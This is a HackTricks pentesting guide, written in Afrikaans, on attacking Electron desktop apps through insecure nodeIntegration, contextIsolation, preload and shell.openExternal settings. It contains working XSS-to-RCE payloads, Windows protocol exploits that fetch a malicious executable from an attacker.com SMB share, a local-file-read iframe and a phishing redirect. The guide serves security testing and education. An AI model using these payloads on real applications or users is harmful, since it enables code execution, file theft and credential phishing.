Electron Desktop Apps

Ondersteun HackTricks

Inleiding

Electron kombineer 'n plaaslike backend (met NodeJS) en 'n frontend (Chromium), alhoewel dit sommige van die sekuriteitsmeganismes van moderne blaaiers ontbreek.

Gewoonlik kan jy die electron app kode binne 'n .asar toepassing vind, om die kode te verkry moet jy dit onttrek:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

In die bronkode van 'n Electron-app, binne packet.json, kan jy die main.js-lêer vind waar sekuriteitskonfigurasies ingestel is.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron het 2 prosestipes:

  • Hoofproses (het volledige toegang tot NodeJS)

  • Rendererproses (moet beperkte toegang tot NodeJS hê vir sekuriteitsredes)

'n rendererproses sal 'n blaaiervenster wees wat 'n lêer laai:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

Die instellings van die renderer-proses kan gekonfigureer word in die hoofproses binne die main.js-lêer. Sommige van die konfigurasies sal verhoed dat die Electron-toepassing RCE kry of ander kwesbaarhede as die instellings korrek geconfigureer is.

Die electron-toepassing kan toegang tot die toestel verkry via Node-apis alhoewel dit geconfigureer kan word om dit te voorkom:

  • nodeIntegration - is af per standaard. As aan, laat dit toe om toegang te verkry tot node-funksies vanaf die renderer-proses.

  • contextIsolation - is aan per standaard. As af, is hoof- en renderer-prosesse nie geïsoleer nie.

  • preload - leeg per standaard.

  • sandbox - is af per standaard. Dit sal die aksies wat NodeJS kan uitvoer beperk.

  • Node Integrasie in Werkers

  • nodeIntegrationInSubframes - is af per standaard.

  • As nodeIntegration geaktiveer is, sal dit die gebruik van Node.js APIs in webblaaie wat in iframes binne 'n Electron-toepassing gelaai word, toelaat.

  • As nodeIntegration gedeaktiveer is, sal preloads in die iframe gelaai word.

Voorbeeld van konfigurasie:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Sommige RCE payloads van hier:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Capture traffic

Wysig die start-main konfigurasie en voeg die gebruik van 'n proxy soos by:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Plaaslike Kode-inspuiting

As jy 'n Electron App plaaslik kan uitvoer, is dit moontlik dat jy dit kan laat uitvoer willekeurige javascript kode. Kyk hoe in:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

As die nodeIntegration op aan gestel is, kan 'n webblad se JavaScript maklik Node.js kenmerke gebruik net deur die require() aan te roep. Byvoorbeeld, die manier om die calc toepassing op Windows uit te voer is:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

Die skrip wat in hierdie instelling aangedui word, is laad voor ander skripte in die renderer, so dit het onbeperkte toegang tot Node APIs:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Daarom kan die skrip node-features na bladsye uitvoer:

preload.js
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
index.html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

As contextIsolation aan is, sal dit nie werk nie

RCE: XSS + contextIsolation

Die contextIsolation stel die geskeide kontekste tussen die webbladskripte en die JavaScript Electron se interne kode in, sodat die JavaScript-uitvoering van elke kode nie mekaar beïnvloed nie. Dit is 'n noodsaaklike kenmerk om die moontlikheid van RCE te elimineer.

As die kontekste nie geskei is nie, kan 'n aanvaller:

  1. Arbitraire JavaScript in renderer uitvoer (XSS of navigasie na eksterne webwerwe)

  2. Oorskryf die ingeboude metode wat in preload of Electron interne kode gebruik word na eie funksie

  3. Trigger die gebruik van oorgeskrewe funksie

  4. RCE?

Daar is 2 plekke waar ingeboude metodes oorgeskryf kan word: In preload kode of in Electron interne kode:

Electron contextIsolation RCE via preload codeElectron contextIsolation RCE via Electron internal codeElectron contextIsolation RCE via IPC

Bypass klik gebeurtenis

As daar beperkings toegepas word wanneer jy op 'n skakel klik, mag jy in staat wees om dit te omseil deur 'n middelklik te doen in plaas van 'n gewone linkerklik.

window.addEventListener('click', (e) => {

RCE via shell.openExternal

Vir meer inligting oor hierdie voorbeelde, kyk na https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 en https://benjamin-altpeter.de/shell-openexternal-dangers/

Wanneer 'n Electron-desktoptoepassing ontplooi word, is dit van kardinale belang om die korrekte instellings vir nodeIntegration en contextIsolation te verseker. Dit is gevestig dat kliënt-kant afstandkode-uitvoering (RCE) wat op preload-skripte of Electron se inheemse kode van die hoofproses teiken, effektief voorkom word met hierdie instellings in plek.

Wanneer 'n gebruiker met skakels interaksie het of nuwe vensters oopmaak, word spesifieke gebeurtenisluisteraars geaktiveer, wat van kardinale belang is vir die toepassing se sekuriteit en funksionaliteit:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Hierdie luisteraars word oorheers deur die lessenaartoepassing om sy eie besigheidslogika te implementeer. Die toepassing evalueer of 'n genavigeerde skakel intern of in 'n eksterne webblaaier geopen moet word. Hierdie besluit word tipies deur 'n funksie, openInternally, geneem. As hierdie funksie false teruggee, dui dit aan dat die skakel eksterne geopen moet word, met die gebruik van die shell.openExternal funksie.

Hier is 'n vereenvoudigde pseudokode:

Electron JS sekuriteitsbeste praktyke raai teen die aanvaarding van onbetroubare inhoud met die openExternal funksie, aangesien dit kan lei tot RCE deur verskeie protokolle. Bedryfstelsels ondersteun verskillende protokolle wat RCE kan ontketen. Vir gedetailleerde voorbeelde en verdere verduideliking oor hierdie onderwerp, kan 'n mens na hierdie hulpbron verwys, wat Windows protokolvoorbeelde insluit wat in staat is om hierdie kwesbaarheid te benut.

Voorbeelde van Windows protokolontploffings sluit in:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Lees Interne Lêers: XSS + contextIsolation

Deaktiveer contextIsolation stel die gebruik van <webview> merke in, soortgelyk aan <iframe>, vir die lees en eksterne oordrag van plaaslike lêers. 'n Voorbeeld wat gegee word demonstreer hoe om hierdie kwesbaarheid te benut om die inhoud van interne lêers te lees:

Verder word 'n ander metode vir die lees van 'n interne lêer gedeel, wat 'n kritieke plaaslike lêer lees kwesbaarheid in 'n Electron desktop-app uitlig. Dit behels die inspuiting van 'n skrip om die toepassing te benut en data te eksterne oordrag:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Ou Chromium

As die chromium wat deur die toepassing gebruik word oud is en daar bekende kwesbaarhede daarop is, mag dit moontlik wees om dit te benut en RCE te verkry deur 'n XSS. Jy kan 'n voorbeeld in hierdie skrywe sien: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing via Interne URL regex omseiling

Gestel jy het 'n XSS gevind, maar jy kan nie RCE aktiveer of interne lêers steel nie, kan jy probeer om dit te gebruik om geloofsbriewe via phishing te steel.

Eerstens moet jy weet wat gebeur wanneer jy probeer om 'n nuwe URL te open, deur die JS-kode in die front-end na te gaan:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Die oproep na openInternally sal besluit of die skakel in die desktop venster geopen sal word aangesien dit 'n skakel is wat aan die platform behoort, of of dit in die blaaier as 'n 3de party hulpbron geopen sal word.

In die geval dat die regex wat deur die funksie gebruik word kwulnerabel is vir omseilings (byvoorbeeld deur nie die punte van subdomeine te ontsnap nie) kan 'n aanvaller die XSS misbruik om 'n nuwe venster te open wat in die aanvallers infrastruktuur geleë sal wees wat om akrediteerbare inligting van die gebruiker vra:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Gereedskap

  • Electronegativity is 'n hulpmiddel om miskonfigurasies en sekuriteitsanti-patrone in Electron-gebaseerde toepassings te identifiseer.

  • Electrolint is 'n oopbron VS Code-inprop vir Electron-toepassings wat Electronegativity gebruik.

  • nodejsscan om te kyk vir kwesbare derdeparty-biblioteke

  • Electro.ng: Jy moet dit koop

Laboratoriums

In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s kan jy 'n laboratorium vind om kwesbare Electron-toepassings te benut.

Sommige opdragte wat jou sal help met die laboratorium:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Verwysings

Ondersteun HackTricks

Last updated